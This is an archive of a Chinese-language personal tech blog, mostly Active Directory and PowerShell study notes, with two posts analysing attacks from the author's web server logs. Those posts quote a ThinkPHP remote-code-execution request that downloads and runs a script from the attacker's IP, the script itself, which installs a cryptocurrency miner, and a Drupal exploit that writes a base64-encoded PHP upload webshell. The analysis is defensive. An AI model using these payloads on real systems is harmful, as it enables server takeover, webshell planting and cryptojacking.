2018年12月30日 星期日

從 Web Log 學習系統漏洞 29

又是中國的架站套件

從我的 web log 擷取的資料:
205.185.113.123 - - [29/Dec/2018:21:37:59 +0800] "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://205.185.113.123/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh HTTP/1.1" 302 388 "-" "Sefa"

利用 thinkphp 這個架站套件漏洞, 企圖下載一個 ex.sh 的程式碼再執行

下載回來ex.sh的內容:
cd /tmp; wget http://205.185.113.123/mcoin; curl http://205.185.113.123/mcoin -O; chmod 777 mcoin; ./mcoin -o 205.185.113.123:3333 -p x -k -a cryptonight -B --max-cpu-usage=95; rm -rf RjsWs
cd /tmp; wget http://205.185.113.123/mcoin-ankit; curl http://205.185.113.123/mcoin-ankit -O; chmod 777 mcoin-ankit; ./mcoin-ankit -o 205.185.113.123:3333 -p x -k -a cryptonight -B --max-cpu-usage=95; rm -rf RjsWs
mv /var/www/html/index.php /var/www/html/elrekt.php
rm -rf /tmp/ex.sh
將一個 mcoin 編碼過的程式下載至暫存目錄, 修改權限到最大再執行, 還會硬操CPU... 估狗了一下這個 mcoin, 一種類似比特幣的虛擬貨幣, 所以可以推論這是一個偷偷植入木馬並且綁架你的電腦當作挖礦機的東西

2018年12月29日 星期六

MiPony 白馬下載器

MiPony 白馬下載器, 一種網路免費空間下載軟體, 支援上百種免費空間下載, 而且還具有續傳功能, 以前使用過免安裝版, 覺得非常方便

1. 官網下載, 支援Windows, Mac, 及 Android 系統

2. 下載完執行安裝

2018年12月21日 星期五

從 Web Log 學習系統漏洞 28


似乎是 Drupal 這個網站架站平台軟體的漏洞攻擊

其中亂碼部分解碼後:
?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo PD9waHANCmVjaG8gIlBIUCBVcGxvYWRlciAtIFlhY2luZV9Nb2hhbWVkIjsNCmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0nemInPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZCcgdmFsdWU9J3VwbG9hZCc+DQo8L2Zvcm0+IjsNCmlmKCRfUE9TVFsndXBsb2FkJ10pIHsNCiAgaWYoQGNvcHkoJF9GSUxFU1snemInXVsndG1wX25hbWUnXSwgJF9GSUxFU1snemInXVsnbmFtZSddKSkgew0KICBlY2hvICJTdWNjZXNzISI7DQogIH0gZWxzZSB7DQogIGVjaG8gIkZhaWxlZCB0byBVcGxvYWQuIjsNCiAgfQ0KfQ0KPz4= | base64 -d | tee sites/default/files/fuck.php | rm -rf sites/default/files/.htaccess

黑色字為輸入命令, 紅色字大概是什麼東西的金鑰, 企圖植入fuck.php這檔案再刪除.htaccess

2018年12月18日 星期二

網路小白8

類似XAMP這類的架站套裝軟體漏洞還是很多, 而且幾乎都是中國的

1.




2018年12月15日 星期六

安裝Windows Server 2019-Essentials版

雖然 Windows Server 2019 正式版還未開放下載, 不過可以先下載 Essentials 版來玩玩

1. 開始畫面, 由於下載英文版所以語言只有英文可選 (唉, 微軟還是有提供簡體中文版卻沒有繁體中文版...)

2. 開始安裝

2018年12月13日 星期四

2018年12月9日 星期日

使用ADMT測試ADDS網域信任後的物件轉移

1. 在完成 ADDS網域信任之後, 來試試 ADMT可否順利轉移物件, 首先於 ADDS主機上建立幾個使用者及群組

2. 安裝好 ADMT後開啟使用轉移群組, 設定來源端網域及目的端網域(目的端選外部網域)
w-studio.idv.tw

試作ADDS樹系網域信任

1. 開啟父系網域主機的 DNS管理員, 新增一個外部網域主機的條件式轉寄站, 並勾選在 AD中儲存此條件式轉寄站, 及複寫到這個樹系中的所有 DNS伺服器

2. 完成新增條件式轉寄站w-studio.idv.tw

2018年12月8日 星期六

試作ADDS信任前的準備

本次準備 4 台虛擬機:
1. ADDS: 父系網域主機
2. Server1: 子系網域主機
3. Server2: 樹系網域主機
4. Server3: 外部網域主機

2018年12月6日 星期四

ADDS樹系信任(Forest Trust)

在多網域 ADDS樹系中, 信任關係決定了使用者如何在不同網域間存取資源, 信任關係可分為單向信任和雙向信任, 樹系信任是兩個獨立的 ADDS樹系之間的信任關係, 讓使用者可以存取另一個樹系內的資源, 這種信任關係通常用於企業合併或合作的情況

1. 單向信任
只有信任者(Trusting)允許來自被信任者(Trusted)的使用者存取資源
例如: 如果 A 樹系單向信任 B 樹系, 那麼 B 樹系的使用者可以存取 A 樹系的資源, 但 A 樹系的使用者無法存取 B 樹系的資源w-studio.idv.tw
2. 雙向信任
兩個樹系互相信任, 彼此的使用者都能存取對方的資源
例如: 如果 A 樹系和 B 樹系建立雙向信任, 那麼 A 樹系的使用者可以存取 B 樹系的資源, 反之亦然

2018年12月5日 星期三

使用ADMT(Active Directory Migration Tool)轉移AD物件

ADMT(Active Directory Migration Tool), 這是一個可以轉移 AD物件的轉移工具, 在課程中只有大略說到一些並沒有太多介紹, 於是去下載來玩玩, 遇到了一些問題順便紀錄一下

1. 首先準備一台已安裝 AD的 Windows Server 2012 R2, 並設定一個使用者及群組

2. 另外準備一台 Windows Server 2016 (須為信任網域不然後面會出現錯誤)

2018年12月4日 星期二

從舊版Windows Server ADDS轉移到新版Windows Server ADDS

從舊版 Windows Server ADDS轉移到新版的 Windows Server, 主要包含架設新 DC、轉移 FSMO角色、驗證及降級舊 DC等步驟

1. 準備工作
。確認相容性:
--新版本 Windows Server是否支援舊版 AD DS升級? (如 2012 R2 → 2016)
--網域功能等級和樹系功能等級是否允許升級?
--網域控制站是否運行關鍵應用程式?
。備份 ADDS與系統:
--建立完整系統備份, 包括 ADDS資料庫(NTDS.dit)、SYSVOL、DNS、GPO等
--執行 ntdsutil 來確認 AD整體健康狀態
。檢查複寫與健康狀況:
--dcdiag /v (診斷 AD健康狀況)
--repadmin /replsummary (檢查 AD複寫狀況)
--repadmin /showrepl (檢查詳細的複寫狀態)

2. 在新 Windows Server安裝 ADDS
。加入現有 AD網域(新伺服器需加入舊版 AD環境)
。安裝 ADDS角色
。升級成 DC(新 DC), 確保 DNS、GC角色正確設定

3. 轉移 FSMO角色
。轉移方法: 使用 AD使用者和電腦、AD網域和信任、架構管理等
或 PowerShell:
Move-ADDirectoryServerOperationMasterRole -Identity "NewDC" -OperationMasterRole 0,1,2,3,4
(0: PDC Emulator, 1: RID Master, 2: Infrastructure Master, 3: Schema Master, 4: Domain Naming Master)

4. 確保 AD資料同步
。執行 repadmin /syncall /e /P, 確認新 DC與舊 DC間的 ADDS、DNS、GPO已正確同步
。dcdiag /test:DNS, 檢查 DNS角色轉移是否正常
。dfsrmig /getmigrationstate, 確認 SYSVOL複寫狀態

5. 降級並移除舊 DC
。手動降級舊 DC
。確認 FSMO角色不在舊 DC上
。移除 DNS與 AD物件
。確認新 DC獨立運作

2018年12月3日 星期一

2018年12月2日 星期日

在Azure中部署ADDS

在 Azure上部署 ADDS的主要原因是, 支援 Windows AD依賴的應用程式(Windows驗證、檔案共享等), 提供混合式身份驗證, 確保本地 AD和 Azure VM共享相同身份管理機制, 允許 Azure VM使用 GPO來統一管理安全性與設定, 提升高可用性與災難復原能力, 確保當地端 AD故障時 Azure仍能提供驗證服務

在 Azure中部署 ADDS時則需考慮幾點:
。網路拓撲: 建立與雲端連線的 VPN或 ExpressRoute網路
。站台拓撲: 使用 AD站台與服務最佳化驗證流量, 確保複寫效率
。自動回復: 設置多個 DC高可用性, 並使用 Azure Recovery設定自我修復
。IP位址: DC使用固定 IP, 避免變更影響服務
。DNS設定: 因 Azure內建的 DNS不提供動態 DNS與 SRV記錄, 將 Azure虛擬網路設定至本機 DNS伺服器
。磁碟: 獨立磁碟存放 NTDS資料庫, 將 NTDS.dit與 SYSVOL存放到不同的磁碟下, 避免不必要的寫入快取導致資料遺失風險及 ADDS故障

在部署ADDS時實作多個樹系

在部署 ADDS時, 通常會使用單一樹系(Forest)來管理整個組織的身份與存取控制, 但在某些情況下組織可能需要實作多個樹系來滿足不同的需求:

1. 安全性隔離
。AD樹系是 AD中最高等級的安全邊界, 不同樹系之間沒有自動的信任關係, 因此可以確保彼此完全獨立
。某些高度機密的部門(如國防、研發或金融機構)可能需要與其他部門完全隔離, 以防止未經授權的存取
。企業可能會將內部 IT系統與外部合作夥伴或子公司的 IT環境分開以降低安全風險

2. 不相容的架構
。不同部門可能有不同的 IT需求, 例如:
**一個部門使用較新的 Windows Server版本, 而另一個部門仍需維持舊版本以支持舊系統
**某些部門使用不同的驗證方法, 如 Kerberos或 NTLM, 導致技術不相容
。某些應用程式可能要求特定的 AD架構變更, 而這些變更可能會影響其他業務單位, 使用獨立的樹系可以降低風險w-studio.idv.tw

在部署ADDS時實作多個網域

1. 網域複寫需求
AD需要在不同的網域控制站之間進行資料複寫, 但若組織跨地區或擁有大量使用者, 單一網域的複寫負擔可能過大
。減少 AD複寫流量: 不同網域之間的複寫通常較少, 降低 WAN負擔
。提升效能: 如果使用單一網域, 則所有 DC都需要複寫同樣的資料, 可能導致同步延遲問題
。區隔複寫範圍: 例如總公司和各分公司擁有獨立的網域, 則僅在必要時才需要進行跨網域的資料同步

2. 命名空間需求
AD網域名稱對應 DNS命名空間, 組織可能需要多個獨立的名稱來區分不同的業務單位或地理位置
。區分不同的業務單位, 例如:
--corp.example.com(企業總部)w-studio.idv.tw
--sales.example.com(銷售部門)
--hr.example.com(人力資源部門)
。支援品牌或子公司獨立性, 例如:
--companyA.com(公司A)
--companyB.com(公司B)
。避免命名衝突, 特別是當組織合併其他企業時可能會產生相同帳戶名稱的問題

ADDS中網域與樹系界限

在 ADDS中, 網域(Domain)和樹系(Forest)的界限主要涉及安全性、管理權限、信任關係及目錄資料的共享範圍:

網域(Domain)的界限
網域的界限主要是安全性與管理界限, 包括以下幾個層面:
1. 安全界限
網域內的存取控制和群組原則主要適用於該網域內的物件, 這意味著
。其他網域的使用者無法直接存取本網域內的資源, 除非透過「信任關係」授權
。網域內的網域管理員只有管理該網域的權限, 無法直接管理其他網域的資源
2. 身分驗證
。網域內的使用者可以透過 Kerberos驗證來存取該網域內的資源
。若要跨網域存取資源, 需要透過信任關係(預設情況下, 同一樹系內的網域有雙向可轉移信任)
3. 複寫界限
。每個網域擁有自己的目錄資料庫(NTDS.dit), 且該網域的網域控制站只會複寫該網域的目錄資訊, 而不會自動同步其他網域的完整目錄資訊
。只有全域目錄(GC)伺服器會儲存整個樹系的部分重要目錄資訊, 以支援跨網域的查詢

2018年12月1日 星期六

取代DNS虛設常式區域

Stub Zone

當兩個 Active Directory樹系(Forest)之間建立信任關係時, 確保名稱解析(Name Resolution)是關鍵步驟之一, 除了使用  DNS虛設常式區域(Stub Zone)來解析另一個樹系的名稱, 還有以下幾種替代方法:

1. 條件轉寄(Conditional Forwarding)
。在 DNS伺服器上設定條件轉寄, 將對特定網域(樹系)的 DNS查詢直接轉送至該網域的 DNS伺服器
。例如若樹系 A 需要解析樹系 B 的名稱, 則在樹系 A 的 DNS伺服器上設定 B.com 的查詢應轉寄至 B 的 DNS伺服器

2. 次要區域(Secondary Zone)
。在 DNS伺服器上建立對方樹系的次要 DNS區域, 該區域是來自對方 DNS伺服器的唯讀複本
。可以確保 DNS查詢時不需直接查詢對方的 DNS伺服器, 提高解析效能及可靠性
。但需要對方允許 DNS區域傳輸(Zone Transfer)w-studio.idv.tw

3. 全域名稱快取(GlobalNames Zone)
。若需要解析 NetBIOS的單一標籤名稱(如 server1而非 server1.domain.com), 可以使用全域名稱快取(GNZ, GlobalNames Zone)來建立靜態記錄
。適合跨樹系但 DNS命名不一致的情境, 不過此方法通常不適用於完全網域名稱(FQDN)的解析

4. 手動設定 Hosts檔案
。直接在伺服器或客戶端的 hosts檔案中手動加入對方樹系中重要伺服器的名稱與 IP
。但這不具備動態解析能力, 僅適合少數靜態名稱解析需求

5. 設定 DNS轉寄站(Forwarders)
。在 DNS伺服器中設定轉寄站, 將無法解析的 DNS查詢轉寄至對方樹系的 DNS伺服器
。不同於條件轉寄, 轉寄站是用來處理所有未解析的請求而非特定網域

2018年11月30日 星期五

Write-Host 與 Write-Output

在練習 PowerShell 時, 看到兩個很類似的指令: Write-Host 與 Write-Output

查了一下微軟的說明:
Write-Host:
自定義輸出, 可以使用 ForegroundColor 參數指定文字的顏色, 也可以使用 BackgroundColor 參數指定背景顏色, 使用 Separator 參數可以指定一個字串來分隔顯示的物件

Write-Output:
將指定的物件發送到管道中(pipeline)的下一個命令, 如果該命令是管道中的最後一條命令, 則物件將顯示在控制台(console) (就是顯示在畫面上)

Write-Output沿主管道(或稱為"輸出流"或"成功管道")發送物件, 如要將錯誤物件發送到錯誤管道, 則使用Write-Error

此指令通常在指令碼中使用, 用以在控制台(console)上顯示字串和其他物件, 但是由於默認行為是在管道的末尾顯示物件, 因此通常不必使用指令, 例如 Get-Process | Write-Output 等於 Get-Process

2018年11月20日 星期二

網路小白7

我網站被攻擊的log

該不會是微信的相關企業吧? 資安做的這麼差.... IP我懶得遮了



2018年11月19日 星期一

2018年11月18日 星期日

將AD (Active Directory) 使用者及群組資料匯出的方法: 4.dsquery

Dsquery, 適用於 Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows Server 2003 SP1, Windows 8

如同 dsget 一樣, dsquery 後面接上 OU 來使用, 例如: dsquery computer, dsquery user 等, 常用 dsquery * 查詢所有資料

雖然 dsquery 匯出的資料格式與 csvde 類似, 不過 dsquery 是用空格來做欄位分隔, 而不像 csvde 使用逗號來做欄位分隔, 利用上比較不方便

1. 使用 dsquery /? 呼叫說明

2. dsquery 指令加上方向(大於)符號可將資料輸出成檔案:
dsquery * OU=ou_name,DC=domain,DC=com > export.csv (或txt)
w-studio.idv.tw


將AD (Active Directory) 使用者及群組資料匯出的方法: 3.dsget

Dsget, 適用於 Windows Server 2003 及 SP1、R2, Windows Server 2008, Windows Server 2012, Windows 8

1. 指令通常會接上其他 OU 使用, 例如: dsget computer, dsget ou, dsget user 等
 w-studio.idv.tw
2. 不過 dsget 通常不會單獨使用, 會搭配 dsquery 再接管線直線符號( | )使用

參考資料: Windows Docs: Dsget

2018年11月17日 星期六

將AD (Active Directory) 使用者及群組資料匯出匯入的方法: 2.Ldifde

Ldifde, 適用於 Windows Server 2003及SP1, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows 8

指令:
Ldifde [-i] [-f <FileName>] [-s <ServerName>] [-c <String1> <String2>] [-v] [-j <Path>] [-t <PortNumber>] [-d <BaseDN>] [-r <LDAPFilter>] [-p <Scope>] [-l <LDAPAttributeList>] [-o <LDAPAttributeList>] [-g] [-m] [-n] [-k] [-a <UserDistinguishedName> <Password>] [-b <UserName> <Domain> <Password>] [-?]

1. 使用 ldifde /? 呼叫說明
w-studio.idv.tw

2018年11月16日 星期五

將AD (Active Directory) 使用者及群組資料匯出匯入的方法: 1.Csvde

Csvde, 適用於 Windows Server 2003、SP1及 R2, Windows Server 2008及 R2, Windows Server 2012, Windows 8

指令:
Csvde [-i] [-f <FileName>] [-s <ServerName>] [-c <String1> <String2>] [-v] [-j <Path>] [-t <PortNumber>] [-d <BaseDN>] [-r <LDAPFilter>] [-p <Scope] [-l <LDAPAttributeList>] [-o <LDAPAttributeList>] [-g] [-m] [-n] [-k] [-a <UserDistinguishedName> {<Password> | *}] [-b <UserName> <Domain> {<Password> | *}]

1. 使用 csvde /? 呼叫說明
w-studio.idv.tw

2018年11月15日 星期四

AD (Active Directory) User and Computer使用者及電腦資料匯出

學習 Windows Server 2016 的 Active Directory 時, 發現教材上並沒有特別說明如何將 AD 使用者及電腦中的使用者及群組等一些 OU 資料匯出匯入, 而是使用 Windows Server Backup 來備份回復資料, 或是使用 PowerShell 來建立資料, 對於一些初學者來說只是要使用者資料可能會無法了解, 查了一下過去 Windows 2016 以前版本的做法, 有幾個 command-line 工具可以使用

1. Windows Server 的 AD 使用者及電腦中, 只有匯出的功能沒有匯入的功能, 而且欄位資料並不完整
 w-studio.idv.tw

2018年11月13日 星期二

Windows Server 2019

Windows Server 2016 都還沒玩熟咧結果 2019 就出來了, 不過現在好像只有內部工程師可以下載



2018年11月11日 星期日

2018年11月10日 星期六

使用PowerShell管理ADDS物件

1. 使用 PowerShell管理使用者
。New-ADUser: 建立使用者帳戶
。Set-ADUser: 修改使用者帳戶的屬性
。Remove-ADUser: 刪除使用者帳戶
。Set-ADAccountPassword: 重設使用者帳戶的密碼
。Set-ADAccountExpiration: 修改使用者帳戶的到期日
。Unlock-ADAccount: 當使用者帳戶因超過可接受的錯誤登入嘗試次數而被鎖定時, 解鎖該帳戶
。Enable-ADAccount: 啟用使用者帳戶
。Disable-ADAccount: 停用使用者帳戶

範例: New‑ADUser "Tom Cruise" ‑AccountPassword (Read‑Host ‑AsSecureString "Enter password") ‑Department ITw-studio.idv.tw

2018年11月7日 星期三

網路小白4

這IP今天攻擊了上百筆, 從搜尋的結果這個IP網段包含在澳洲、英國、中國?不能確定是哪來的, 但可以確定的是一個網路小白



建立組織單位OU及簡單設定委派權限

1. 於 ADDS主機上開啟 AD使用者和電腦, 於網域內新增一個組織單位OU, 暫命名 Kaohsiung模擬分公司

2. 接著於 Kaohsiung的 OU中新增 KHH Admins群組w-studio.idv.tw

委派ADDS物件的權限

1. 在 AD使用者和電腦的上方功能列, 動作項目中選擇委派控制
w-studio.idv.tw
2. 選擇好要委派的物件(群組、使用者、組織單位)後, 即可設定委派的工作

防止組織單位OU意外刪除

ADDS在建立物件時, 預設會將其設定保護以防止意外刪除, 如果沒有則自行在進階功能下開啟物件內容中的「物件」標籤裡勾選保護物件以防止被意外刪除
w-studio.idv.tw
或者使用 PowerShell指令啟用或停用保護:
Get-ADOrganizationalUnit –filter * -properties ProtectedFromAccidentalDeletion | where {$_.ProtectedFromAccidentalDeletion –eq $false} | Set-ADOrganizationalUnit –protectedFromAccidentalDeletion $true

ADDS的物件權限設定

1. 在還沒有開啟進階功能時, 查看物件內容是沒有權限設定功能

2. 在上方功能列中, 檢視項目裡選擇進階功能
w-studio.idv.tw

ADDS中規劃組織單位OU時的考量


在 ADDS中規劃組織單位(OU)是設計與管理網域結構的重要環節, 良好的 OU結構有助於簡化資源管理、群組原則(GPO)應用以及委派權限(Delegation of Control), 以下是規劃 OU結構時的重要考量因素:

1. 根據組織架構設計
。部門導向: 依照公司部門(如行銷部、財務部、IT部門)建立 OU, 方便管理不同部門的使用者與資源
。地理導向: 若組織跨多個地區可根據地點建立 OU(如台北、台中、高雄辦事處), 便於區域管理
。業務單位導向: 針對特定業務單位或專案團隊建立 OU, 有助於專案資源管理
w-studio.idv.tw
2. 根據物件類型設計
。使用者與電腦分離: 將使用者帳戶與電腦帳戶分開管理, 方便套用不同的群組原則(GPO)
。伺服器與用戶端分開管理: 不同類型的設備通常有不同的安全性需求與原則
。群組OU: 若組織內群組數量龐大, 將其集中管理可簡化權限分配

2018年11月6日 星期二

電腦帳戶和安全通道

在 ADDS中, 電腦帳戶(Computer Account)與安全通道(Secure Channel)有密切關係, 這兩者是維持網域中電腦與網域控制站之間安全通訊與信任的基礎

電腦帳戶(Computer Account):
。每當電腦被加入 AD網域時, 會在 AD中建立一個對應的電腦帳戶
。電腦帳戶類似於使用者帳戶, 但它代表整台電腦而非個別使用者
。每個電腦帳戶都有一組安全識別碼(SID)以及電腦密碼(Computer Password), 用來與網域控制站進行身份驗證w-studio.idv.tw

安全通道(Secure Channel):
。安全通道是網域成員電腦與網域控制站之間建立的加密通訊通道, 用來進行身份驗證、資源存取等操作
。此通道是使用 Kerberos或 NTLM協定進行加密, 確保通訊安全
檢查安全通道